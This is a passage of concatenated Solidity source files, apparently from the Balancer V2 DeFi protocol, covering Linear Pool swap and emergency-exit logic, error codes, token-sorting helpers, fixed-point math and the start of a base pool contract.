Errors.INVALID_TOKEN); return request.tokenOut == this ? LinearMath._calcBptOutPerWrappedIn( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ) : LinearMath._calcMainOutPerWrappedIn(request.amount, balances[_mainIndex], params); } function _onSwapGivenOut( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { if (request.tokenOut == this) { return _swapGivenBptOut(request, balances, params); } else if (request.tokenOut == _mainToken) { return _swapGivenMainOut(request, balances, params); } else if (request.tokenOut == _wrappedToken) { return _swapGivenWrappedOut(request, balances, params); } else { _revert(Errors.INVALID_TOKEN); } } function _swapGivenBptOut( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenIn == _mainToken || request.tokenIn == _wrappedToken, Errors.INVALID_TOKEN); return (request.tokenIn == _mainToken ? LinearMath._calcMainInPerBptOut : LinearMath._calcWrappedInPerBptOut)( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ); } function _swapGivenMainOut( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenIn == _wrappedToken || request.tokenIn == this, Errors.INVALID_TOKEN); return request.tokenIn == this ? LinearMath._calcBptInPerMainOut( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ) : LinearMath._calcWrappedInPerMainOut(request.amount, balances[_mainIndex], params); } function _swapGivenWrappedOut( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenIn == _mainToken || request.tokenIn == this, Errors.INVALID_TOKEN); return request.tokenIn == this ? LinearMath._calcBptInPerWrappedOut( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ) : LinearMath._calcMainInPerWrappedOut(request.amount, balances[_mainIndex], params); } function _onInitializePool( bytes32, address sender, address recipient, uint256[] memory, bytes memory ) internal view override whenNotPaused returns (uint256, uint256[] memory) { // Linear Pools can only be initialized by the Pool performing the initial join via the `initialize` function. _require(sender == address(this), Errors.INVALID_INITIALIZATION); _require(recipient == address(this), Errors.INVALID_INITIALIZATION); // The full BPT supply will be minted and deposited in the Pool. Note that there is no need to approve the Vault // as it already has infinite BPT allowance. uint256 bptAmountOut = _INITIAL_BPT_SUPPLY; uint256[] memory amountsIn = new uint256[](_TOTAL_TOKENS); amountsIn[_bptIndex] = _INITIAL_BPT_SUPPLY; return (bptAmountOut, amountsIn); } function _onJoinPool( bytes32, address, address, uint256[] memory, uint256, uint256, uint256[] memory, bytes memory ) internal pure override returns ( uint256, uint256[] memory, uint256[] memory ) { _revert(Errors.UNHANDLED_BY_LINEAR_POOL); } function _onExitPool( bytes32, address, address, uint256[] memory balances, uint256, uint256, uint256[] memory, bytes memory userData ) internal view override returns ( uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts ) { // Exits typically revert, except for the proportional exit when the emergency pause mechanism has been // triggered. This allows for a simple and safe way to exit the Pool. // Note that the rate cache will not be automatically updated in such a scenario (though this can be still done // manually). This however should not lead to any issues as the rate is not important during the emergency exit. // On the contrary, decoupling the rate provider from the emergency exit might be useful under these // circumstances. LinearPoolUserData.ExitKind kind = userData.exitKind(); if (kind != LinearPoolUserData.ExitKind.EMERGENCY_EXACT_BPT_IN_FOR_TOKENS_OUT) { _revert(Errors.UNHANDLED_BY_LINEAR_POOL); } else { _ensurePaused(); // Note that this will cause the user's BPT to be burned, which is not something that happens during // regular operation of this Pool, and may lead to accounting errors. Because of this, it is highly // advisable to stop using a Pool after it is paused and the pause window expires. (bptAmountIn, amountsOut) = _emergencyProportionalExit(balances, userData); // Due protocol fees are set to zero as this Pool accrues no fees and pays no protocol fees. dueProtocolFeeAmounts = new uint256[](_getTotalTokens()); } } function _emergencyProportionalExit(uint256[] memory balances, bytes memory userData) private view returns (uint256, uint256[] memory) { // This proportional exit function is only enabled if the contract is paused, to provide users a way to // retrieve their tokens in case of an emergency. // // This particular exit function is the only one available because it is the simplest, and therefore least // likely to be incorrect, or revert and lock funds. uint256 bptAmountIn = userData.exactBptInForTokensOut(); // Note that there is no minimum amountOut parameter: this is handled by `IVault.exitPool`. // This process burns BPT, rendering `_getApproximateVirtualSupply` inaccurate, so we use the real method here uint256[] memory amountsOut = LinearMath._calcTokensOutGivenExactBptIn( balances, bptAmountIn, _getVirtualSupply(balances[_bptIndex]), _bptIndex ); return (bptAmountIn, amountsOut); } function _getMaxTokens() internal pure override returns (uint256) { return _TOTAL_TOKENS; } function _getMinimumBpt() internal pure override returns (uint256) { // Linear Pools don't lock any BPT, as the total supply will already be forever non-zero due to the preminting // mechanism, ensuring initialization only occurs once. return 0; } function _getTotalTokens() internal view virtual override returns (uint256) { return _TOTAL_TOKENS; } function _scalingFactor(IERC20 token) internal view virtual override returns (uint256) { if (token == _mainToken) { return _scalingFactorMainToken; } else if (token == _wrappedToken) { // The wrapped token's scaling factor is not constant, but increases over time as the wrapped token // increases in value. return _scalingFactorWrappedToken.mulDown(_getWrappedTokenRate()); } else if (token == this) { return FixedPoint.ONE; } else { _revert(Errors.INVALID_TOKEN); } } function _scalingFactors() internal view virtual override returns (uint256[] memory) { uint256[] memory scalingFactors = new uint256[](_TOTAL_TOKENS); // The wrapped token's scaling factor is not constant, but increases over time as the wrapped token increases in // value. scalingFactors[_mainIndex] = _scalingFactorMainToken; scalingFactors[_wrappedIndex] = _scalingFactorWrappedToken.mulDown(_getWrappedTokenRate()); scalingFactors[_bptIndex] = FixedPoint.ONE; return scalingFactors; } // Price rates /** * @dev For a Linear Pool, the rate represents the appreciation of BPT with respect to the underlying tokens. This * rate increases slowly as the wrapped token appreciates in value. */ function getRate() external view override returns (uint256) { bytes32 poolId = getPoolId(); (, uint256[] memory balances, ) = getVault().getPoolTokens(poolId); _upscaleArray(balances, _scalingFactors()); (uint256 lowerTarget, uint256 upperTarget) = getTargets(); LinearMath.Params memory params = LinearMath.Params({ fee: getSwapFeePercentage(), lowerTarget: lowerTarget, upperTarget: upperTarget }); uint256 totalBalance = LinearMath._calcInvariant( LinearMath._toNominal(balances[_mainIndex], params), balances[_wrappedIndex] ); // Note that we're dividing by the virtual supply, which may be zero (causing this call to revert). However, the // only way for that to happen would be for all LPs to exit the Pool, and nothing prevents new LPs from // joining it later on. return totalBalance.divUp(_getApproximateVirtualSupply(balances[_bptIndex])); } function getWrappedTokenRate() external view returns (uint256) { return _getWrappedTokenRate(); } /** * @dev Should be 1e18 for the subsequent calculation of the wrapper token scaling factor. */ function _getWrappedTokenRate() internal view virtual returns (uint256); function getTargets() public view returns (uint256 lowerTarget, uint256 upperTarget) { bytes32 miscData = _getMiscData(); lowerTarget = miscData.decodeUint96(_LOWER_TARGET_OFFSET); upperTarget = miscData.decodeUint96(_UPPER_TARGET_OFFSET); } function _setTargets( IERC20 mainToken, uint256 lowerTarget, uint256 upperTarget ) private { _require(lowerTarget <= upperTarget, Errors.LOWER_GREATER_THAN_UPPER_TARGET); _require(upperTarget <= _MAX_UPPER_TARGET, Errors.UPPER_TARGET_TOO_HIGH); // Pack targets as two uint96 values into a single storage slot. This results in targets being capped to 96 // bits, but that should be more than enough. _setMiscData( WordCodec.encodeUint(lowerTarget, _LOWER_TARGET_OFFSET) | WordCodec.encodeUint(upperTarget, _UPPER_TARGET_OFFSET) ); emit TargetsSet(mainToken, lowerTarget, upperTarget); } function setTargets(uint256 newLowerTarget, uint256 newUpperTarget) external authenticate { // For a new target range to be valid: // - the pool must currently be between the current targets (meaning no fees are currently pending) // - the pool must currently be between the new targets (meaning setting them does not cause for fees to be // pending) // // The first requirement could be relaxed, as the LPs actually benefit from the pending fees not being paid out, // but being stricter makes analysis easier at little expense. (uint256 currentLowerTarget, uint256 currentUpperTarget) = getTargets(); _require(_isMainBalanceWithinTargets(currentLowerTarget, currentUpperTarget), Errors.OUT_OF_TARGET_RANGE); _require(_isMainBalanceWithinTargets(newLowerTarget, newUpperTarget), Errors.OUT_OF_NEW_TARGET_RANGE); _setTargets(_mainToken, newLowerTarget, newUpperTarget); } function setSwapFeePercentage(uint256 swapFeePercentage) public override { // For the swap fee percentage to be changeable: // - the pool must currently be between the current targets (meaning no fees are currently pending) // // As the amount of accrued fees is not explicitly stored but rather derived from the main token balance and the // current swap fee percentage, requiring for no fees to be pending prevents the fee setter from changing the // amount of pending fees, which they could use to e.g. drain Pool funds in the form of inflated fees. (uint256 lowerTarget, uint256 upperTarget) = getTargets(); _require(_isMainBalanceWithinTargets(lowerTarget, upperTarget), Errors.OUT_OF_TARGET_RANGE); super.setSwapFeePercentage(swapFeePercentage); } function _isMainBalanceWithinTargets(uint256 lowerTarget, uint256 upperTarget) private view returns (bool) { bytes32 poolId = getPoolId(); (, uint256[] memory balances, ) = getVault().getPoolTokens(poolId); uint256 mainTokenBalance = _upscale(balances[_mainIndex], _scalingFactor(_mainToken)); return mainTokenBalance >= lowerTarget && mainTokenBalance <= upperTarget; } function _isOwnerOnlyAction(bytes32 actionId) internal view virtual override returns (bool) { return actionId == getActionId(this.setTargets.selector) || super._isOwnerOnlyAction(actionId); } /** * @dev Returns the number of tokens in circulation. * * In other pools, this would be the same as `totalSupply`, but since this pool pre-mints all BPT, `totalSupply` * remains constant, whereas `virtualSupply` increases as users join the pool and decreases as they exit it. */ function getVirtualSupply() external view returns (uint256) { (, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId()); // We technically don't need to upscale the BPT balance as its scaling factor is equal to one (since BPT has // 18 decimals), but we do it for completeness. uint256 bptBalance = _upscale(balances[_bptIndex], _scalingFactor(this)); return _getVirtualSupply(bptBalance); } function _getVirtualSupply(uint256 bptBalance) internal view returns (uint256) { return totalSupply().sub(bptBalance); } /** * @dev Computes an approximation of virtual supply, which costs less gas than `_getVirtualSupply` and returns the * same value in all cases except when the emergency pause has been enabled and BPT burned as part of the emergency * exit process. */ function _getApproximateVirtualSupply(uint256 bptBalance) internal pure returns (uint256) { // No need for checked arithmetic as _INITIAL_BPT_SUPPLY is always greater than any valid Vault BPT balance. return _INITIAL_BPT_SUPPLY - bptBalance; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; // solhint-disable /** * @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are * supported. */ function _require(bool condition, uint256 errorCode) pure { if (!condition) _revert(errorCode); } /** * @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported. */ function _revert(uint256 errorCode) pure { // We're going to dynamically create a revert string based on the error code, with the following format: // 'BAL#{errorCode}' // where the code is left-padded with zeroes to three digits (so they range from 000 to 999). // // We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a // number (8 to 16 bits) than the individual string characters. // // The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a // much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a // safe place to rely on it without worrying about how its usage might affect e.g. memory contents. assembly { // First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999 // range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for // the '0' character. let units := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let tenths := add(mod(errorCode, 10), 0x30) errorCode := div(errorCode, 10) let hundreds := add(mod(errorCode, 10), 0x30) // With the individual characters, we can now construct the full string. The "BAL#" part is a known constant // (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the // characters to it, each shifted by a multiple of 8. // The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits // per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte // array). let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds)))) // We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded // message will have the following layout: // [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ] // The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We // also write zeroes to the next 28 bytes of memory, but those are about to be overwritten. mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Next is the offset to the location of the string, which will be placed immediately after (20 bytes away). mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020) // The string length is fixed: 7 characters. mstore(0x24, 7) // Finally, the string itself is stored. mstore(0x44, revertReason) // Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of // the encoded message is therefore 4 + 32 + 32 + 32 = 100. revert(0, 100) } } library Errors { // Math uint256 internal constant ADD_OVERFLOW = 0; uint256 internal constant SUB_OVERFLOW = 1; uint256 internal constant SUB_UNDERFLOW = 2; uint256 internal constant MUL_OVERFLOW = 3; uint256 internal constant ZERO_DIVISION = 4; uint256 internal constant DIV_INTERNAL = 5; uint256 internal constant X_OUT_OF_BOUNDS = 6; uint256 internal constant Y_OUT_OF_BOUNDS = 7; uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8; uint256 internal constant INVALID_EXPONENT = 9; // Input uint256 internal constant OUT_OF_BOUNDS = 100; uint256 internal constant UNSORTED_ARRAY = 101; uint256 internal constant UNSORTED_TOKENS = 102; uint256 internal constant INPUT_LENGTH_MISMATCH = 103; uint256 internal constant ZERO_TOKEN = 104; // Shared pools uint256 internal constant MIN_TOKENS = 200; uint256 internal constant MAX_TOKENS = 201; uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202; uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203; uint256 internal constant MINIMUM_BPT = 204; uint256 internal constant CALLER_NOT_VAULT = 205; uint256 internal constant UNINITIALIZED = 206; uint256 internal constant BPT_IN_MAX_AMOUNT = 207; uint256 internal constant BPT_OUT_MIN_AMOUNT = 208; uint256 internal constant EXPIRED_PERMIT = 209; uint256 internal constant NOT_TWO_TOKENS = 210; uint256 internal constant DISABLED = 211; // Pools uint256 internal constant MIN_AMP = 300; uint256 internal constant MAX_AMP = 301; uint256 internal constant MIN_WEIGHT = 302; uint256 internal constant MAX_STABLE_TOKENS = 303; uint256 internal constant MAX_IN_RATIO = 304; uint256 internal constant MAX_OUT_RATIO = 305; uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306; uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307; uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308; uint256 internal constant INVALID_TOKEN = 309; uint256 internal constant UNHANDLED_JOIN_KIND = 310; uint256 internal constant ZERO_INVARIANT = 311; uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312; uint256 internal constant ORACLE_NOT_INITIALIZED = 313; uint256 internal constant ORACLE_QUERY_TOO_OLD = 314; uint256 internal constant ORACLE_INVALID_INDEX = 315; uint256 internal constant ORACLE_BAD_SECS = 316; uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317; uint256 internal constant AMP_ONGOING_UPDATE = 318; uint256 internal constant AMP_RATE_TOO_HIGH = 319; uint256 internal constant AMP_NO_ONGOING_UPDATE = 320; uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321; uint256 internal constant STABLE_GET_BALANCE_DIDNT_CONVERGE = 322; uint256 internal constant RELAYER_NOT_CONTRACT = 323; uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324; uint256 internal constant REBALANCING_RELAYER_REENTERED = 325; uint256 internal constant GRADUAL_UPDATE_TIME_TRAVEL = 326; uint256 internal constant SWAPS_DISABLED = 327; uint256 internal constant CALLER_IS_NOT_LBP_OWNER = 328; uint256 internal constant PRICE_RATE_OVERFLOW = 329; uint256 internal constant INVALID_JOIN_EXIT_KIND_WHILE_SWAPS_DISABLED = 330; uint256 internal constant WEIGHT_CHANGE_TOO_FAST = 331; uint256 internal constant LOWER_GREATER_THAN_UPPER_TARGET = 332; uint256 internal constant UPPER_TARGET_TOO_HIGH = 333; uint256 internal constant UNHANDLED_BY_LINEAR_POOL = 334; uint256 internal constant OUT_OF_TARGET_RANGE = 335; uint256 internal constant UNHANDLED_EXIT_KIND = 336; uint256 internal constant UNAUTHORIZED_EXIT = 337; uint256 internal constant MAX_MANAGEMENT_SWAP_FEE_PERCENTAGE = 338; uint256 internal constant UNHANDLED_BY_MANAGED_POOL = 339; uint256 internal constant UNHANDLED_BY_PHANTOM_POOL = 340; uint256 internal constant TOKEN_DOES_NOT_HAVE_RATE_PROVIDER = 341; uint256 internal constant INVALID_INITIALIZATION = 342; uint256 internal constant OUT_OF_NEW_TARGET_RANGE = 343; uint256 internal constant UNAUTHORIZED_OPERATION = 344; uint256 internal constant UNINITIALIZED_POOL_CONTROLLER = 345; // Lib uint256 internal constant REENTRANCY = 400; uint256 internal constant SENDER_NOT_ALLOWED = 401; uint256 internal constant PAUSED = 402; uint256 internal constant PAUSE_WINDOW_EXPIRED = 403; uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404; uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405; uint256 internal constant INSUFFICIENT_BALANCE = 406; uint256 internal constant INSUFFICIENT_ALLOWANCE = 407; uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408; uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409; uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410; uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411; uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412; uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413; uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414; uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415; uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416; uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417; uint256 internal constant SAFE_ERC20_CALL_FAILED = 418; uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419; uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420; uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421; uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422; uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423; uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424; uint256 internal constant BUFFER_PERIOD_EXPIRED = 425; uint256 internal constant CALLER_IS_NOT_OWNER = 426; uint256 internal constant NEW_OWNER_IS_ZERO = 427; uint256 internal constant CODE_DEPLOYMENT_FAILED = 428; uint256 internal constant CALL_TO_NON_CONTRACT = 429; uint256 internal constant LOW_LEVEL_CALL_FAILED = 430; uint256 internal constant NOT_PAUSED = 431; uint256 internal constant ADDRESS_ALREADY_ALLOWLISTED = 432; uint256 internal constant ADDRESS_NOT_ALLOWLISTED = 433; uint256 internal constant ERC20_BURN_EXCEEDS_BALANCE = 434; uint256 internal constant INVALID_OPERATION = 435; // Vault uint256 internal constant INVALID_POOL_ID = 500; uint256 internal constant CALLER_NOT_POOL = 501; uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502; uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503; uint256 internal constant INVALID_SIGNATURE = 504; uint256 internal constant EXIT_BELOW_MIN = 505; uint256 internal constant JOIN_ABOVE_MAX = 506; uint256 internal constant SWAP_LIMIT = 507; uint256 internal constant SWAP_DEADLINE = 508; uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509; uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510; uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511; uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512; uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513; uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514; uint256 internal constant INVALID_POST_LOAN_BALANCE = 515; uint256 internal constant INSUFFICIENT_ETH = 516; uint256 internal constant UNALLOCATED_ETH = 517; uint256 internal constant ETH_TRANSFER = 518; uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519; uint256 internal constant TOKENS_MISMATCH = 520; uint256 internal constant TOKEN_NOT_REGISTERED = 521; uint256 internal constant TOKEN_ALREADY_REGISTERED = 522; uint256 internal constant TOKENS_ALREADY_SET = 523; uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524; uint256 internal constant NONZERO_TOKEN_BALANCE = 525; uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526; uint256 internal constant POOL_NO_TOKENS = 527; uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528; // Fees uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600; uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601; uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602; } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "@balancer-labs/v2-vault/contracts/interfaces/IAsset.sol"; import "../openzeppelin/IERC20.sol"; // solhint-disable function _asIAsset(IERC20[] memory tokens) pure returns (IAsset[] memory assets) { // solhint-disable-next-line no-inline-assembly assembly { assets := tokens } } function _sortTokens( IERC20 tokenA, IERC20 tokenB, IERC20 tokenC ) pure returns (IERC20[] memory tokens) { (uint256 indexTokenA, uint256 indexTokenB, uint256 indexTokenC) = _getSortedTokenIndexes(tokenA, tokenB, tokenC); tokens = new IERC20[](3); tokens[indexTokenA] = tokenA; tokens[indexTokenB] = tokenB; tokens[indexTokenC] = tokenC; } function _insertSorted(IERC20[] memory tokens, IERC20 token) pure returns (IERC20[] memory sorted) { sorted = new IERC20[](tokens.length + 1); if (tokens.length == 0) { sorted[0] = token; return sorted; } uint256 i; for (i = tokens.length; i > 0 && tokens[i - 1] > token; i--) sorted[i] = tokens[i - 1]; for (uint256 j = 0; j < i; j++) sorted[j] = tokens[j]; sorted[i] = token; } function _getSortedTokenIndexes( IERC20 tokenA, IERC20 tokenB, IERC20 tokenC ) pure returns ( uint256 indexTokenA, uint256 indexTokenB, uint256 indexTokenC ) { if (tokenA < tokenB) { if (tokenB < tokenC) { // (tokenA, tokenB, tokenC) return (0, 1, 2); } else if (tokenA < tokenC) { // (tokenA, tokenC, tokenB) return (0, 2, 1); } else { // (tokenC, tokenA, tokenB) return (1, 2, 0); } } else { // tokenB < tokenA if (tokenC < tokenB) { // (tokenC, tokenB, tokenA) return (2, 1, 0); } else if (tokenC < tokenA) { // (tokenB, tokenC, tokenA) return (2, 0, 1); } else { // (tokenB, tokenA, tokenC) return (1, 0, 2); } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; import "./LogExpMath.sol"; import "../helpers/BalancerErrors.sol"; /* solhint-disable private-vars-leading-underscore */ library FixedPoint { uint256 internal constant ONE = 1e18; // 18 decimal places uint256 internal constant TWO = 2 * ONE; uint256 internal constant FOUR = 4 * ONE; uint256 internal constant MAX_POW_RELATIVE_ERROR = 10000; // 10^(-14) // Minimum base for the power function when the exponent is 'free' (larger than ONE). uint256 internal constant MIN_POW_BASE_FREE_EXPONENT = 0.7e18; function add(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition uint256 c = a + b; _require(c >= a, Errors.ADD_OVERFLOW); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { // Fixed Point addition is the same as regular checked addition _require(b <= a, Errors.SUB_OVERFLOW); uint256 c = a - b; return c; } function mulDown(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); return product / ONE; } function mulUp(uint256 a, uint256 b) internal pure returns (uint256) { uint256 product = a * b; _require(a == 0 || product / a == b, Errors.MUL_OVERFLOW); if (product == 0) { return 0; } else { // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((product - 1) / ONE) + 1; } } function divDown(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow return aInflated / b; } } function divUp(uint256 a, uint256 b) internal pure returns (uint256) { _require(b != 0, Errors.ZERO_DIVISION); if (a == 0) { return 0; } else { uint256 aInflated = a * ONE; _require(aInflated / a == ONE, Errors.DIV_INTERNAL); // mul overflow // The traditional divUp formula is: // divUp(x, y) := (x + y - 1) / y // To avoid intermediate overflow in the addition, we distribute the division and get: // divUp(x, y) := (x - 1) / y + 1 // Note that this requires x != 0, which we already tested for. return ((aInflated - 1) / b) + 1; } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding down. The result is guaranteed to not be above * the true value (that is, the error function expected - actual is always positive). */ function powDown(uint256 x, uint256 y) internal pure returns (uint256) { // Optimize for when y equals 1.0, 2.0 or 4.0, as those are very simple to implement and occur often in 50/50 // and 80/20 Weighted Pools if (y == ONE) { return x; } else if (y == TWO) { return mulDown(x, x); } else if (y == FOUR) { uint256 square = mulDown(x, x); return mulDown(square, square); } else { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); if (raw < maxError) { return 0; } else { return sub(raw, maxError); } } } /** * @dev Returns x^y, assuming both are fixed point numbers, rounding up. The result is guaranteed to not be below * the true value (that is, the error function expected - actual is always negative). */ function powUp(uint256 x, uint256 y) internal pure returns (uint256) { // Optimize for when y equals 1.0, 2.0 or 4.0, as those are very simple to implement and occur often in 50/50 // and 80/20 Weighted Pools if (y == ONE) { return x; } else if (y == TWO) { return mulUp(x, x); } else if (y == FOUR) { uint256 square = mulUp(x, x); return mulUp(square, square); } else { uint256 raw = LogExpMath.pow(x, y); uint256 maxError = add(mulUp(raw, MAX_POW_RELATIVE_ERROR), 1); return add(raw, maxError); } } /** * @dev Returns the complement of a value (1 - x), capped to 0 if x is larger than 1. * * Useful when computing the complement for values with some level of relative error, as it strips this error and * prevents intermediate negative values. */ function complement(uint256 x) internal pure returns (uint256) { return (x < ONE) ? (ONE - x) : 0; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol"; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/TemporarilyPausable.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol"; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IBasePool.sol"; import "@balancer-labs/v2-asset-manager-utils/contracts/IAssetManager.sol"; import "./BalancerPoolToken.sol"; import "./BasePoolAuthorization.sol"; // solhint-disable max-states-count /** * @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with optional * Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism. * * Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that * derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the * `whenNotPaused` modifier. * * No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer. * * Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from * BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces * and implement the swap callbacks themselves. */ abstract contract LegacyBasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable { using WordCodec for bytes32; using FixedPoint for uint256; uint256 private constant _MIN_TOKENS = 2; uint256 private constant _DEFAULT_MINIMUM_BPT = 1e6; // 1e18 corresponds to 1.0, or a 100% fee uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001% uint256 private constant 